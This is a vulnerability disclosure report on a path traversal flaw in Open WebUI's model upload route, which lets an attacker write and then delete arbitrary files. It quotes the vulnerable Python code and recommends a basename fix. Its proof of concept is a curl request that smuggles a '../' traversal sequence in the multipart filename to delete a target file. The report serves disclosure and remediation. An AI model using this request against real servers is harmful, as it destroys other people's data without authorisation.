Open WebUI Arbitrary File Write, Delete via Path Traversal

** CONFIDENTIAL **

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

1. Discoverer: Taylor Pennington of KoreLogic, Inc.
2. Date Submitted: June 11, 2024
3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal
4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted.
5. Affected Vendor: Open WebUI
6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)
7. Affected Version(s): 0.1.105
8. Platform/OS: Debian GNU/Linux 12 (bookworm)
9. Vector: HTTP web interface
10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
11. Technical Analysis:

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):

def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):
 if url_idx == None:
     url_idx = 0
 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]

 file_path = f"{UPLOAD_DIR}/{file.filename}"

 # Save file in chunks
 with open(file_path, "wb+") as f:
     for chunk in file.file:
         f.write(chunk)

 def file_process_stream():
     nonlocal ollama_url
     total_size = os.path.getsize(file_path)
     chunk_size = 1024 * 1024
     try:
         with open(file_path, "rb") as f:
             total = 0
             done = False

             while not done:
                 chunk = f.read(chunk_size)
                 if not chunk:
                     done = True
                     continue

                 total += len(chunk)
                 progress = round((total / total_size) * 100, 2)

                 res = {
                     "progress": progress,
                     "total": total_size,
                     "completed": total,
                 }
                 yield f"data: {json.dumps(res)}\n\n"

             if done:
                 f.seek(0)
                 hashed = calculate_sha256(f)
                 f.seek(0)

                 url = f"{ollama_url}/api/blobs/sha256:{hashed}"
                 response = requests.post(url, data=f)

                 if response.ok:
                     res = {
                         "done": done,
                         "blob": f"sha256:{hashed}",
                         "name": file.filename,
                     }
                     os.remove(file_path)
                     yield f"data: {json.dumps(res)}\n\n"
                 else:
                     raise Exception(
                         "Ollama: Could not create blob, Please try again."
                     )

     except Exception as e:
         res = {"error": str(e)}
         yield f"data: {json.dumps(res)}\n\n"

 return StreamingResponse(file_process_stream(), media_type="text/event-stream")
 ```

 The model is temporarily written to disk in chunks and then the data is sent to
 another internal API. Once the file is successfully passed, the file is removed
 from the disk. Note line 1116, `os.remove(file_path)`.

 This has an affect of stomping on and ultimately deleting any file that the user
 of the open-webui service has permissions over.

 It may be possible to continue sending chunks to the file slowly and create
 a race condition however, this was not validated.

12. Proof-of-Concept:

 First, create a file under the `/tmp` directory named `DELETE_ME` while
 logged in as the user account of the web application or chown the file to be
 owned by the open-webui user.

 ```
 # su ollama
 # touch /tmp/DELETE_ME
 ```

Execute the following cURL command after replacing the exported `JWT` value for a valid user session:

 ```
 export JWT="JWT_HERE"; curl -s -X $'POST' \
 -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
 --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
 $'https://openwebui.example.com/ollama/models/upload'
 ```

 Verify that `/tmp/DELETE_ME` has been deleted.

13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: 

filename = os.path.basename(file.filename) file_path = f"{UPLOAD_DIR}/{filename}"